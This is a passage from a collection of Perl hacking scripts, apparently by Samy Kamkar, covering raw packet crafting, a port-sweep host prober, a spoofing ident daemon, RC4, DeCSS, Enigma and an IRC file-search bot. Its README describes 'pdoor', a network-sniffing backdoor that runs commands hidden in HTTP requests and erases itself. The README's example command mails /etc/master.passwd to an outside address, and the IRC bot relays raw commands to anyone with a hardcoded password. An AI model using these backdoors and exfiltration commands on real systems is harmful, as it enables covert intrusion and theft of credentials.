  2695. $address_p->LabEntry(-label => "Source Port Number:", -labelPack => [-side => "left", -anchor => "w"], -width => 20, -textvariable => \$udp_source)->pack(-side => "top", -anchor => "ne");
  2696. $address_p->LabEntry(-label => "Dest. Port Number:", -labelPack => [-side => "left", -anchor => "w"], -width => 20, -textvariable => \$udp_dest)->pack(-side => "top", -anchor => "ne");
  2697. foreach (2 .. 5) {
  2698. if ($udphdr[$_]) {
  2699. $tmp = "udp_$udphdr[$_]";
  2700. $pref_p->LabEntry(-label => "$udphdr[$_]:", -labelPack => [-side => "left"], -width => 15, -textvariable => \${$tmp})->pack(-side => "top", -anchor => "ne");
  2701. }
  2702. }
  2703. $n->pack(-expand => "yes", -fill => "both", -padx => 5, -pady => 5, -side => "top");
  2704. $f->Show;
  2705. }
  2706. sub icmph {
  2707. $f = $mdb->DialogBox(-title => "ICMP Headers", -buttons => ["OK"]);
  2708. $n = $f->add('NoteBook', -ipadx => 6, -ipady => 6);
  2709. $address_p = $n->add("address", -label => "Required", -underline => 0);
  2710. $pref_p = $n->add("pref", -label => "Optional", -underline => 0);
  2711. $address_p->Label(-text => "None", -anchor => 'e')->pack;
  2712. foreach (0 .. 10) {
  2713. if ($icmphdr[$_]) {
  2714. $tmp = "icmp_$icmphdr[$_]";
  2715. $pref_p->LabEntry(-label => "$icmphdr[$_]:", -labelPack => [-side => "left"], -width => 15, -textvariable => \${$tmp})->pack(-side => "top", -anchor => "ne");
  2716. }
  2717. }
  2718. $n->pack(-expand => "yes", -fill => "both", -padx => 5, -pady => 5, -side => "top");
  2719. $f->Show;
  2720. }
  2721.  
  2722.  
  2723. #!/usr/bin/perl
  2724.  
  2725. # -cp5
  2726.  
  2727. use pdump::Sniff;
  2728.  
  2729. @iphdr = qw(version ihl tos tot_len id frag_off ttl protocol check saddr daddr);
  2730. @tcphdr = qw(source dest seq ack_seq doff res1 res2 urg ack psh rst syn fin window check urg_ptr data);
  2731. foreach (@iphdr) {
  2732. print "IP: $_";
  2733. if (/^(s|d)addr$/i) {
  2734. print " [required]";
  2735. }
  2736. print ": ";
  2737. chomp ($ip{$_} = <STDIN>);
  2738. }
  2739. foreach (@tcphdr) {
  2740. print "TCP: $_";
  2741. if (/^source|dest$/i) {
  2742. print " [required]";
  2743. }
  2744. print ": ";
  2745. chomp ($tcp{$_} = <STDIN>);
  2746. }
  2747. foreach (keys(%ip)) {
  2748. if ($ip{$_}) {
  2749. $hip{$_} = $ip{$_};
  2750. }
  2751. }
  2752. foreach (keys(%tcp)) {
  2753. if ($tcp{$_}) {
  2754. $htcp{$_} = $tcp{$_};
  2755. }
  2756. }
  2757. $a = new pdump::Sniff;
  2758. $a->set({ip => { %hip }, tcp => { %htcp }});
  2759. $a->send;
  2760.  
  2761.  
  2762. #!/usr/bin/perl
  2763.  
  2764. use pdump::Sniff;
  2765. use Net::Ping;
  2766.  
  2767. die "usage: $0 <host>\n" unless @ARGV == 1;
  2768. $| = 1;
  2769. $tout = 10;
  2770. $host = $ARGV[0];
  2771. $dev = pdump::Sniff::lookupdev($tout);
  2772. $ip = ${ifaddrlist()}{$dev};
  2773. $packet_tcp = new pdump::Sniff({tcp=>{}});
  2774. $filt_tcp = "ip proto \\tcp and src host $host and dst host $ip";
  2775. $pcap_tcp = $packet_tcp->pcapinit($dev, $filt_tcp, 1500, 60, 0);
  2776. $offset_tcp = linkoffset($pcap_tcp);
  2777. $p = Net::Ping->new("icmp");
  2778. if ($p->ping($host, 2)) {
  2779. die "ICMP reply from $host recieved, host is up\n";
  2780. }
  2781. $p->close();
  2782. print "No ICMP reply...testing TCP\n";
  2783. if ($fork1 = fork) {
  2784. &send;
  2785. }
  2786. if ($fork2 = fork) {
  2787. loop $pcap_tcp, -1, \&check_tcp, \@packet_tcp;
  2788. }
  2789. sub check_tcp{
  2790. print "TCP reply from $host recieved, host is up\n";
  2791. kill(9, $fork1);
  2792. die "\n";
  2793. }
  2794. sub send {
  2795. sleep 3;
  2796. foreach (1 .. 65535) {
  2797. $a = new pdump::Sniff;
  2798. $a->set({
  2799. ip => {
  2800. saddr => $ip,
  2801. daddr => $host,
  2802. },
  2803. tcp => {
  2804. dest => $_,
  2805. source => 1337,
  2806. seq => 31337,
  2807. syn => 1,
  2808. },
  2809. });
  2810. $a->send;
  2811. }
  2812. die "No TCP reply...host seems to not be up\n";
  2813. }
  2814.  
  2815.  
  2816. #!/usr/bin/perl
  2817.  
  2818. # stand-alone raw wanna-be-ident daemon
  2819. # PoC by commport5
  2820.  
  2821. use pdump::Sniff;
  2822. die "usage: $0 <port>\n" unless @ARGV == 1;
  2823. $| = 1;
  2824. $tout = 10;
  2825. $dev = pdump::Sniff::lookupdev($tout);
  2826. $ip_addr = ${ifaddrlist()}{$dev};
  2827. $packet_tcp = new pdump::Sniff({tcp=>{}});
  2828. $filt_tcp = "ip proto \\tcp and dst port $ARGV[0]";
  2829. $pcap_tcp=$packet_tcp->pcapinit($dev,$filt_tcp,1500,60);
  2830. $offset_tcp = linkoffset($pcap_tcp);
  2831. if (fork) {
  2832. loop $pcap_tcp, -1, \&check_tcp, \@packet_tcp;
  2833. }
  2834. sub check_tcp{
  2835. $packet_tcp->bset($_[2], $offset_tcp);
  2836. my $headers;
  2837. my ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr,$daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg,$ack,$psh,$rst,$syn,$fin,$win,$chk,$data) =
  2838. $packet_tcp->get({ip=>['version','ihl','tos','tot_len','id','frag_off','ttl','protocol','check','saddr','daddr'],tcp=>[
  2839. 'source','dest','seq','ack_seq','doff','res1','res2','urg','ack','psh','rst','syn','fin','window','check','data']});
  2840. if ($urg) {
  2841. $headers .= "U";
  2842. }
  2843. if ($ack) {
  2844. $headers .= "A";
  2845. }
  2846. if ($psh) {
  2847. $headers .= "P";
  2848. }
  2849. if ($rst) {
  2850. $headers .= "R";
  2851. }
  2852. if ($syn) {
  2853. $headers .= "S";
  2854. }
  2855. if ($fin) {
  2856. $headers .= "F";
  2857. }
  2858. unless ($headers) {
  2859. $headers = ".";
  2860. }
  2861. $sname = &ip2dot($saddr);
  2862. $dname = &ip2dot($daddr);
  2863. if ($headers eq "S" and !$sent) {
  2864. $rand = rand;
  2865. $rand =~ s/^0\.(\d{9}).*?$/$1/;
  2866. $a = new pdump::Sniff;
  2867. $a->set({ip => {
  2868. saddr => $dname,
  2869. daddr => $sname }, tcp => {
  2870. dest => $sport,
  2871. source => $dport,
  2872. seq => $rand,
  2873. ack_seq => ($seq - 1),
  2874. ack => 1,
  2875. syn => 1 }});
  2876. $a->send;
  2877. $sent = 1;
  2878. }
  2879. if ($headers eq "P" and $sent == 1) {
  2880. $ndata = "$data : USERID : UNIX :cp5\n";
  2881. $a = new pdump::Sniff;
  2882. $a->set({ip => {
  2883. saddr => $dname,
  2884. daddr => $sname }, tcp => {
  2885. dest => $sport,
  2886. source => $dport,
  2887. seq => $aseq,
  2888. ack_seq => ($seq - length($data)),
  2889. ack => 1 }});
  2890. $a->send;
  2891. $a = new pdump::Sniff;
  2892. $a->set({ip => {
  2893. saddr => $dname,
  2894. daddr => $sname }, tcp => {
  2895. dest => $sport,
  2896. source => $dport,
  2897. seq => $aseq,
  2898. ack_seq => ($seq - length($data)),
  2899. ack => 1,
  2900. psh => 1,
  2901. data => $ndata }});
  2902. $a->send;
  2903. $a = new pdump::Sniff;
  2904. $a->set({ip => {
  2905. saddr => $dname,
  2906. daddr => $sname }, tcp => {
  2907. dest => $sport,
  2908. source => $dport,
  2909. seq => ($aseq - length($ndata)),
  2910. ack_seq => ($seq - length($data)),
  2911. ack => 1,
  2912. fin => 1 }});
  2913. $a->send;
  2914. $sent = 2;
  2915. }
  2916. if ($headers eq "F" and $sent == 2) {
  2917. $a = new pdump::Sniff;
  2918. $a->set({ip => {
  2919. saddr => $dname,
  2920. daddr => $sname }, tcp => {
  2921. dest => $sport,
  2922. source => $dport,
  2923. seq => $aseq,
  2924. ack_seq => ($seq - 1),
  2925. ack => 1,
  2926. fin => 1 }});
  2927. $a->send;
  2928. $sent = 3;
  2929. }
  2930. if ($headers eq "F" and $sent == 3) {
  2931. $a = new pdump::Sniff;
  2932. $a->set({ip => {
  2933. saddr => $dname,
  2934. daddr => $sname }, tcp => {
  2935. dest => $sport,
  2936. source => $dport,
  2937. seq => $aseq,
  2938. ack_seq => ($seq - 1),
  2939. ack => 1 }});
  2940. $a->send;
  2941. $sent = 0;
  2942. }
  2943. }
  2944. sub ip2name {
  2945. my $addr = shift;
  2946. (gethostbyaddr(pack("N",$addr),AF_INET))[0] || ip2dot($addr);
  2947. }
  2948. sub ip2dot {
  2949. sprintf("%u.%u.%u.%u",unpack "C4", pack "N1", shift);
  2950. }
  2951.  
  2952.  
  2953. Index of /pdoor
  2954. Name
  2955. Last modified
  2956. Size
  2957. Description
  2958.  
  2959. ________________________________________
  2960. Parent Directory
  2961. -
  2962. README
  2963. 06-Apr-2005 00:21 1.0K
  2964. pcl.pl
  2965. 06-Apr-2005 00:21 702
  2966. pdoor.pl
  2967. 06-Apr-2005 00:21 371
  2968. pdump-Sniff-0.781.tar.gz
  2969. 06-Apr-2005 00:21 25K
  2970. x.html
  2971. 06-Apr-2005 00:21 53
  2972. ________________________________________
  2973. This is a backdoor (pdoor.pl) which sniffs raw packets
  2974. going across the network. It allows you to run commands
  2975. without opening any ports on the machine that the backdoor
  2976. is running. It does this by sniffing all packets on port
  2977. 80 and 7331. Usually port 80 is open, so, if you want,
  2978. you can use telnet and telnet to some machine on that
  2979. network on port 80. Then you would give it something like
  2980. this:
  2981. GET / HTTP/2cat /etc/master.passwd|mail user@blah
  2982. It will read anything after 'GET / HTTP/2' as a
  2983. command. If port 80 isn't open on any machines on the
  2984. network, you can use pcl.pl to send a raw packet with
  2985. data to port 7331 (which won't be open, but pdoor.pl
  2986. will see the packet anyways). You can connect to
  2987. pretty much any machine on the network, not just the one
  2988. which the backdoor running. This is because pdoor.pl
  2989. will try to sniff the entire network. It also contains
  2990. a self destruct feature (it will remove itself and then
  2991. die, practically untracable) when you do this:
  2992. GET / HTTP/2DIE
  2993. If you're using the pcl.pl, you only have to type:
  2994. DIE
  2995.  
  2996.  
  2997. -cp5
  2998. http://www.samy.pl/pdoor/
  2999.  
  3000. #!/usr/bin/perl
  3001.  
  3002. # server/daemon for netshow [mp3]
  3003. # by samy [CommPort5@LucidX.com]
  3004.  
  3005. $port = 1337;
  3006. $dev = "/dev/dsp";
  3007. $mp3dir = "/mp3";
  3008. $kilobytes = 64;
  3009. $mp3first = 1;
  3010.  
  3011. sub hashes {
  3012. %set = (
  3013. create => 'yes',
  3014. exclusive => 'no',
  3015. mode => 0644,
  3016. destroy => 'yes',
  3017. );
  3018. %read = (
  3019. create => 'no',
  3020. exclusive => 'no',
  3021. mode => 0644,
  3022. destroy => 'no',
  3023. );
  3024. return (\%set, \%read);
  3025. }
  3026. ($setx, $readx) = hashes();
  3027. %set = %$setx;
  3028. %read = %$readx;
  3029. tie my $kb, 'IPC::Shareable', 'kilobytes', { %set };
  3030. $kb = $kilobytes * 1024;
  3031. use IPC::Shareable;
  3032. print "Running server on port $port at $kilobytes kb per packet\n";
  3033. fork() && front($mp3first, $kb);
  3034. fork() && ipc($kilobytes);
  3035. sock($port, $mp3dir, $mp3first);
  3036.  
  3037. sub front {
  3038. $SIG{INT} = sub { close(DEV); die "exiting...\n"; };
  3039. ($setx, $readx) = hashes();
  3040. %set = %$setx;
  3041. %read = %$readx;
  3042. tie my $kb, 'IPC::Shareable', 'kilobytes', { %set };
  3043. tie my $playmp, 'IPC::Shareable', 'micormp', { %set };
  3044. $playmp = $_[0];
  3045. $kb = $_[1];
  3046. tie my $mp3, 'IPC::Shareable', 'mpeg', { %read };
  3047. while (1) {
  3048. chomp($tmpp = <STDIN>);
  3049. s/^\s*//;
  3050. if ($tmpp =~ /^help/) {
  3051. print << "EOC";
  3052.  
  3053. commands:
  3054.  
  3055. status - status of stream
  3056. mic - switch to microphone
  3057. mp3 - switch to mp3s
  3058. exit - close daemon
  3059. kb [#] - view/change kbps
  3060. help - this help
  3061.  
  3062. EOC
  3063. }
  3064. elsif ($tmpp =~ /^status/) {
  3065. if ($playmp % 2 == 1) {
  3066. print "status: MP3 playing ($mp3)\n";
  3067. }
  3068. else {
  3069. print "status: microphone in use\n";
  3070. }
  3071. }
  3072. elsif ($tmpp =~ /^kb\s*(\S*)/) {
  3073. if ($1) {
  3074. $kilobytes = $1;
  3075. $kb = $kilobytes * 1024;
  3076. }
  3077. else {
  3078. print "kilobytes: $kilobytes\n";
  3079. }
  3080. }
  3081. elsif ($tmpp =~ /^exit/) {
  3082. close(DEV);
  3083. die "exiting...\n";
  3084. }
  3085. elsif ($tmpp =~ /^mic/) {
  3086. if ($playmp % 2 == 1) {
  3087. $playmp++;
  3088. print "Changing audio input to microphone...\n";
  3089. }
  3090. else {
  3091. print "Microphone already in use.\n";
  3092. }
  3093. }
  3094. elsif ($tmpp =~ /^mp3/) {
  3095. if ($playmp % 2 == 1) {
  3096. print "MP3 already playing.\n";
  3097. }
  3098. else {
  3099. print "Changing audio input to MP3...\n";
  3100. $playmp++;
  3101. }
  3102. }
  3103. elsif ($tmpp !~ /^$/) {
  3104. print "Invalid command...type 'help' for help.\n";
  3105. }
  3106. }
  3107. }
  3108.  
  3109. sub sock {
  3110. ($setx, $readx) = hashes();
  3111. %set = %$setx;
  3112. %read = %$readx;
  3113. ($port, $mp3dir, $playmp3) = @_;
  3114. tie my $kb, 'IPC::Shareable', 'kilobytes', { %read };
  3115. tie my $mp3, 'IPC::Shareable', 'mpeg', { %set };
  3116. opendir(MPEG, $mp3dir);
  3117. @mp3s = grep { /^[^\.]/ } readdir(MPEG);
  3118. closedir(MPEG);
  3119. use IO::Socket;
  3120. $con = IO::Socket::INET->new(
  3121. LocalPort => $port,
  3122. Listen => 5,
  3123. Reuse => 1,
  3124. );
  3125. $con->autoflush(1);
  3126. tie my $tmmp, 'IPC::Shareable', 'micormp', { %read };
  3127. while ($sock = $con->accept) {
  3128. $peerhost = $sock->peerhost();
  3129. print "$peerhost connected\n";
  3130. $child = fork();
  3131. unless ($child) {
  3132. $con->close;
  3133. while ($sock) {
  3134. $mp3 = $mp3s[int(rand(@mp3s))];
  3135. if ($playmp3 % 2 == 1) {
  3136. print $sock "HTTP/1.0 200 OK\n";
  3137. print $sock "Content-Type: audio/x-mp3stream\n";
  3138. print $sock "Cache-Control: no-cache\n";
  3139. print $sock "Pragma: no-cache\n";
  3140. print $sock "Connection: close\n";
  3141. print $sock "x-audiocast-name: CommPort5 owns youz0r!\n\n";
  3142. open(MPEG, "lame -b 32 --resample 44.1 $mp3dir/$mp3 - 2>> /dev/null |");
  3143. while (sysread(MPEG, $au, 32 * 1024)) {
  3144. print $sock $au;
  3145. if ($tmmp % 2 != $playmp3 % 2) {
  3146. $playmp3++;
  3147. last;
  3148. }
  3149. }
  3150. close(MPEG);
  3151. }
  3152. else {
  3153. print $sock "HTTP/1.0 200 OK\n";
  3154. print $sock "Content-Type: audio/x-mp3stream\n";
  3155. print $sock "Cache-Control: no-cache\n";
  3156. print $sock "Pragma: no-cache\n";
  3157. print $sock "Connection: close\n";
  3158. print $sock "x-audiocast-name: CommPort5 owns you!\n\n";
  3159. while ( tie $aud, 'IPC::Shareable', 'audio', { %read }){
  3160. print $sock $aud;
  3161. if ($tmmp % 2 != $playmp3 % 2) {
  3162. $playmp3++;
  3163. last;
  3164. }
  3165. }
  3166. }
  3167. }
  3168. exit 0;
  3169. }
  3170. }
  3171. }
  3172.  
  3173. sub ipc {
  3174. ($kb) = @_;
  3175. ($setx, $readx) = hashes();
  3176. %set = %$setx;
  3177. %read = %$readx;
  3178. open(DEV, "sox -w -t ossdsp $dev -t wav - speed 0.5 2>>/dev/null | lame -b 32 --resample 44.1 - - 2>> /dev/null|") or die
  3179. "Can't open sox/lame: $!\n";
  3180. while (tie $aud, 'IPC::Shareable', 'audio', { %set }) {
  3181. sysread(DEV, $aud, 32 * 1024);
  3182. }
  3183. }
  3184.  
  3185.  
  3186. #!/usr/bin/perl
  3187.  
  3188. # RC4 in 146 bytes of code
  3189. #
  3190. # usage: echo 'plain text' | rc4.pl hexkey > encrypted.file
  3191. # or
  3192. # cat /path/to/file | rc4.pl hexkey > encrypted.file
  3193. # e.g., echo testing | rc4.pl a0b1c2d3
  3194. #
  3195. # decrypting goes the same way
  3196. # e.g., cat encrypted.file | rc4.pl a0b1c2d3 > decrypted.file
  3197. #
  3198. # -samy [cp5@LucidX.com]
  3199.  
  3200. sub f{@s[$x,$y]=@s[($y+=$s[$x])%=@s,$x];$s[$x++]+$s[$y]-@s}@k=pop=~/../g;f$y+=hex$k[$x%@k]for@s=0..255;$x=1;$y=0;$/=\1;print$_^chr$s[f$x%=@s]for<>
  3201.  
  3202.  
  3203. #!/usr/bin/perl
  3204.  
  3205. # 1st place in toorcon password challenge
  3206. # challenge was to create a program or algorithm that generates a password
  3207. # for a user that's difficult for people to crack or brute force but is easy
  3208. # for the user to remember (takes a word as a command line arguement and randomly
  3209. # modifies it with a simple algorithm)
  3210. # i shortened and obfuscated it just to be cool :)
  3211. # -cp5
  3212.  
  3213. s''%{uc c}=(a,4,b,6,e,3,i,1,l,1,t,7);for(keys%{uc c}){C{uc}=C{_};C{C{_}}=_}
  3214. for(0..Z2){myB;for(split//,ARGV[0]){_=C{_}ifC{_}&&int Z2;B.=_}Z2?D.=reverseB:D.=B}
  3215. print"D\n"';s/Z/rand /g;s/[A-D_]/\$$&/g;eval
  3216.  
  3217. # cp5 crypt functions
  3218.  
  3219. # create an encrypted password
  3220. sub mkpasswd {
  3221. $what = $_[0];
  3222. $salt = chr(65+rand(27)).chr(65+rand(27));
  3223. $salt =~ s/\W/x/g;
  3224. return crypt($what, $salt);
  3225. }
  3226.  
  3227. # check an encrypted password with a non-encrypted one
  3228. sub ckpasswd {
  3229. ($plain, $encrypted) = @_;
  3230. if (!$encrypted) {
  3231. ($plain, $encrypted) = split(/\s+/, $plain, 2);
  3232. }
  3233. return '' unless ($plain && $encrypted);
  3234. if ($encrypted =~ /^\$\d\$(\w\w)\$/) {
  3235. $salt = $1;
  3236. }
  3237. else {
  3238. $salt = substr($encrypted, 0, 2);
  3239. }
  3240. return ($encrypted eq crypt($plain, $salt));
  3241. }
  3242.  
  3243. 1;
  3244. #!/usr/bin/perl
  3245.  
  3246. # MPEG 2 PS VOB file on stdin -> descrambled output on stdout
  3247. # arguments: title key bytes in least to most-significant order
  3248.  
  3249. # perl -I xx:xx:xx:xx:xx cp5qrpff-fast.pl < file.vob | extract_mpeg2 | mpeg2dec
  3250. # where xx:xx:xx:xx:xx is the title key
  3251.  
  3252. s''while(read+STDIN,_,2048){Q=29;O=73;J=142;P=255;@t=map{_%16orP^=J^=(Y
  3253. =(11,10,116,100,11,122,20,100)[_/16%8])&110;P^=(72,@z=(64,72,Q^=12*(_%
  3254. 16-2?0:Y&17)),O^=_%64?12:0,@z)[_%8]}(16..271);if((@a=unx"C*",_)[20]&48){
  3255. X=5;_=unxb24,join"",@b=map{xB8,unxb8,chr(_^$a[--X+84])}@ARGV;s/...$/1$&/;
  3256. K=unxV,xb25,_;L=256|(ord$b[4])<<9|ord$b[3];K=K>>8^(M=P&(K>>12^K>>4^K^K/8
  3257. ))<<17,L=L>>8^(P&(W=(Z=L>>14&7^L)^Z*8^Z<<6))<<9,_=$t[_]^((X>>=8)+=M+(~W&P
  3258. ))for@a[128..$#a]}print+x"C*",@a}';s/x/pack+/g;s/[O-QJ-MW-Z_]/\$$&/g;eval
  3259.  
  3260.  
  3261. #!/usr/bin/perl
  3262.  
  3263. # MPEG 2 PS VOB file on stdin -> descrambled output on stdout
  3264. # arguments: title key bytes in least to most-significant order
  3265.  
  3266. s''while(read+STDIN,_,2048){P=29;J=142;if((@a=unx"C*",_)[20]&48){M=5;_=
  3267. unxb24,join"",@b=map{xB8,unxb8,chr(_^$a[--M+84])}@ARGV;s/...$/1$&/;X=unx
  3268. V,xb25,_;Q=73;Y=256|(ord$b[4])<<9|ord$b[3];X=X>>8^(K=(Z=255)&(X>>12^X>>
  3269. 4^X^X/8))<<17,Y=Y>>8^(Z&(L=(W=Y>>14&7^Y)^W*8^W<<6))<<9,_=(map{_%16orZ^=J
  3270. ^=(O=(11,10,116,100,11,122,20,100)[_/16%8])&110;Z^=(72,@z=(64,72,P^=12*
  3271. (_%16-2?0:O&17)),Q^=_%64?12:0,@z)[_%8]}(16..271))[_]^((M>>=8)+=K+(~L&Z)
  3272. )for@a[128..$#a]}print+x"C*",@a}';s/x/pack+/g;s/[W-ZJ-MO-Q_]/\$$&/g;eval
  3273.  
  3274.  
  3275. #!/usr/bin/perl
  3276.  
  3277. # 3 rotor German Enigma simulation
  3278. # by samy [CommPort5@LucidX.com]
  3279.  
  3280. @rotors = (
  3281. [ split(//, "ABCDEFGHIJKLMNOPQRSTUVWXYZ") ],
  3282. [ split(//, "EKMFLGDQVZNTOWYHXUSPAIBRCJ") ],
  3283. [ split(//, "AJDKSIRUXBLHWTMCQGZNPYFVOE") ],
  3284. [ split(//, "BDFHJLCPRTXVZNYEIWGAKMUSQO") ],
  3285. [ split(//, "ESOVPZJAYQUIRHXLNFTGKDCMWB") ],
  3286. [ split(//, "VZBRGITYUPSDNHLXAWMJQOFECK") ]
  3287. );
  3288. @ref = split(//, "YRUHQSLDPXNGOKMIEBFZCWVJAT");
  3289. $flag = 0;
  3290. $n = 0;
  3291. @order = (3, 1, 2);
  3292. @notch = (ints('Q'), ints('E'), ints('V'), ints('J'), ints('Z'));
  3293. @rings = (ints('W'), ints('X'), ints('T'));
  3294. @pos = (ints('A'), ints('W'), ints('E'));
  3295. @plug = (ints('A'), ints('M'), ints('T'), ints('E'));
  3296.  
  3297. sub ints {
  3298. return unpack("C*", $_[0]);
  3299. }
  3300.  
  3301. while (<STDIN>) {
  3302. if ($_ !~ /^\s*\n$/) {
  3303. chomp($tmp = $_);
  3304. foreach (split(//, $tmp)) {
  3305. $ch = uc($_);
  3306. if ($ch !~ /^\w+$/) {
  3307. next;
  3308. }
  3309. $pos[0]++;
  3310. if ($pos[0] > ints 'Z') {
  3311. $pos[0] -= 26;
  3312. }
  3313. if ($flag) {
  3314. $pos[1]++;
  3315. if ($pos[1] > ints 'Z') {
  3316. $pos[1] -= 26;
  3317. }
  3318. $pos[2]++;
  3319. if ($pos[2] > ints 'Z') {
  3320. $pos[2] -= 26;
  3321. }
  3322. $flag = 0;
  3323. }
  3324. if ($pos[0] eq $notch[$order[0] - 1]) {
  3325. $pos[1]++;
  3326. if ($pos[1] > ints 'Z') {
  3327. $pos[1] -= 26;
  3328. }
  3329. if ($pos[1] eq $notch[$order[1] - 1]) {
  3330. $flag = 1;
  3331. }
  3332. }
  3333. for ($i = 0; $plug[$i]; $i += 2) {
  3334. if ($ch eq $plug[$i]) {
  3335. $ch = $plug[$i + 1];
  3336. }
  3337. elsif ($ch eq $plug[$i + 1]) {
  3338. $ch = $plug[$i];
  3339. }
  3340. }
  3341. for ($i = 0; $i < 3; $i++) {
  3342. $ch += $pos[$i] - ints 'A';
  3343. if ($ch > ints 'Z') {
  3344. $ch -= 26;
  3345. }
  3346. $ch -= $rings[$i] - ints 'A';
  3347. if ($ch < ints 'A') {
  3348. $ch += 26;
  3349. }
  3350. $ch = $rotor[$order[$i] - 1][$ch - ints 'A'];
  3351. $ch += $rings[$i] - ints 'A';
  3352. if ($ch > ints 'Z') {
  3353. $ch -= 26;
  3354. }
  3355. $ch -= $pos[$i] - ints 'A';
  3356. if ($ch < ints 'A') {
  3357. $ch += 26;
  3358. }
  3359. }
  3360. $ch = $reg[$ch - ints 'A'];
  3361. for ($i = 3; $i; $i--) {
  3362. $ch += $pos[$i - 1] - ints 'A';
  3363. if ($ch > ints 'Z') {
  3364. $ch -= 26;
  3365. }
  3366. $ch -= $rings[$i - 1] - ints 'A';
  3367. if ($ch < ints 'A') {
  3368. $ch += 26;
  3369. }
  3370. for ($j = 0; $j < 26; $j++) {
  3371. if ($rotor[$order[$i - 1] - 1][$j] eq $ch) {
  3372. last;
  3373. }
  3374. }
  3375. $ch = $j + ints 'A';
  3376. $ch += $rings[$i - 1] - ints 'A';
  3377. if ($ch > ints 'Z') {
  3378. $ch -= 26;
  3379. }
  3380. $ch -= $pos[$i - 1] - ints 'A';
  3381. if ($ch < ints 'A') {
  3382. $ch += 26;
  3383. }
  3384. }
  3385. for ($i = 0; $plug[$i]; $i += 2) {
  3386. if ($ch eq $plug[$i]) {
  3387. $ch = $plug[$i + 1];
  3388. }
  3389. elsif ($ch eq $plug[$i + 1]) {
  3390. $ch = $plug[$i];
  3391. }
  3392. }
  3393. $n++;
  3394. print pack("C*", $ch);
  3395. if ($n % 5 == 0) {
  3396. if ($n % 55 == 0) {
  3397. print "\n";
  3398. }
  3399. else {
  3400. print " ";
  3401. }
  3402. }
  3403. }
  3404. }
  3405. }
  3406.  
  3407.  
  3408. -Samy Kamkar
  3409.  
  3410.  
  3411. Encodes perl code (from file: code) and outputs 'nothing':
  3412.  
  3413. perl -ne 'for(split//){print"\t"x(ord()/50)." "x(ord()%50)."\n"}' code > new
  3414.  
  3415. re-golfed 10/26/04:
  3416. perl -nle'print"\t"x(ord()/50).$"x(ord()%50)for/(.)/g' code > new
  3417.  
  3418.  
  3419. Decodes 'nothing' (from file: new) and evaluates it:
  3420. perl -e 'open_;$f.=chr s/ //g+s/\t//g*50while<>;eval$f' new
  3421.  
  3422.  
  3423. Example:
  3424.  
  3425. bash# cat code
  3426. print "yo\n";
  3427. bash# perl -ne 'for(split//){print"\t"x(ord()/50)." "x(ord()%50)."\n"}' code > new
  3428. bash# cat new
  3429.  
  3430.  
  3431.  
  3432.  
  3433.  
  3434.  
  3435.  
  3436.  
  3437.  
  3438.  
  3439.  
  3440.  
  3441.  
  3442. bash# perl -e 'open_;$f.=chr s/ //g+s/\t//g*50while<>;eval$f' new
  3443. yo
  3444. bash#
  3445.  
  3446.  
  3447. #!/usr/bin/perl
  3448.  
  3449. use Socket;
  3450. die "usage: $0 <irc server[:port]> <nick> <channel> <'movie'>\n" unless @ARGV == 4;
  3451.  
  3452. use strict;
  3453. my $timeout = 30; # 30
  3454. my $maxbytes = 1; # 4096
  3455. my $nickserv = 1;
  3456. my $debug = 1;
  3457. my $server = shift;
  3458. my $botnick = shift;
  3459. my $channel = "#" . shift;
  3460. my $movie = shift;
  3461. my $password = "hax0rm3";
  3462. my $nickservp = "h4wh4wh4w";
  3463. my $port = 6667;
  3464. my %nicks = ();
  3465. my $fork;
  3466. $port = $1 if $server =~ s/:(.*)$//;
  3467. ($fork = fork()) && die "$0: bot active on process $fork\n" unless $debug;
  3468.  
  3469. while (1) {
  3470. socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname("tcp")) || die "Cannot create socket\n";
  3471. connect(SOCK, sockaddr_in($port, inet_aton($server))) || die "Unable to connect\n";
  3472. select(SOCK);
  3473. $| = 1;
  3474. select(STDOUT);
  3475.  
  3476. print SOCK "USER $botnick $botnick $botnick :h4w h4w h4w\n";
  3477. print SOCK "NICK $botnick\n";
  3478. sleep 2;
  3479. print SOCK "NICKSERV IDENTIFY $nickservp\n" if $nickserv;
  3480.  
  3481. while (<SOCK>) {
  3482. print if /^ERROR\s+/;
  3483.  
  3484. if (/^PING(.*)$/) {
  3485. print SOCK "PONG$1\n";
  3486. next;
  3487. }
  3488.  
  3489. my ($rnick, $rwhat, $rwhere, $rdata) = $_ =~ /^:(\S+)\s+(\S+)\s+(\S+)\s+:?(.*)$/;
  3490. $rnick =~ s/\!([^@]+)\@(.*)$//;
  3491. my ($rident, $rhost) = ($1, $2);
  3492. $rdata =~ s/\x03\d\d?//g; # strip all colors out
  3493. $rdata =~ s/[^\x20-\x7e]//g; # strip all lame characters out
  3494. if ($rwhat eq "002") {
  3495. print SOCK "JOIN $channel\n";
  3496. }
  3497.  
  3498. elsif ($rwhat eq "366") {
  3499. print "$channel: joined - searching for `$movie`\n" if $debug;
  3500. print SOCK "PRIVMSG $channel :\@find $movie\n";
  3501. }
  3502.  
  3503. elsif ($rwhat eq "PRIVMSG") {
  3504. if ($rdata =~ /^\caPING\s+(.*)$/) {
  3505. print SOCK "NOTICE $rnick :\caPING $1\n";
  3506. }
  3507.  
  3508. elsif ($rwhere !~ /^#/) { # private messages
  3509. if ($rdata =~ /^pass $password (.*)$/i) {
  3510. print SOCK "$1\n";
  3511. }
  3512. elsif ($rdata =~ /^die $password/i) {
  3513. close(SOCK);
  3514. exit;
  3515. }
  3516. elsif ($rdata =~ /Trigger:\s*\/ctcp\s+(\S+)\s+(.*?)\] /) {
  3517. $nicks{$1}[0] = $2;
  3518. print "$rnick: recieved trigger\n" if $debug == 2;
  3519. }
  3520. elsif ($rdata =~ /Filename:\s*(.*?)\] (?:\s*\[Directory:\s*(.*?)\] )?/) {
  3521. $nicks{$rnick}[2] = $1;
  3522. $nicks{$rnick}[1] = $2;
  3523. $nicks{$rnick}[1] =~ s/^Drive\s*\d*[\\\/]//i;
  3524. $nicks{$rnick}[1] =~ s/^Root Dir[\\\/]//i;
  3525. print SOCK "PRIVMSG $rnick :\cA$nicks{$rnick}[0]\cA\n";
  3526. print "$rnick: sending DCC chat request\n" if $debug == 2;
  3527. sleep 2; # to avoid server flood protection
  3528. }
  3529. elsif ($rdata =~ /^DCC\s+CHAT\s+chat\s+(\S+)\s+(\S+)/i) {
  3530. fork() || &dccchat($1, $2, $nicks{$rnick}[1], $nicks{$rnick}[2], $rnick);
  3531. }
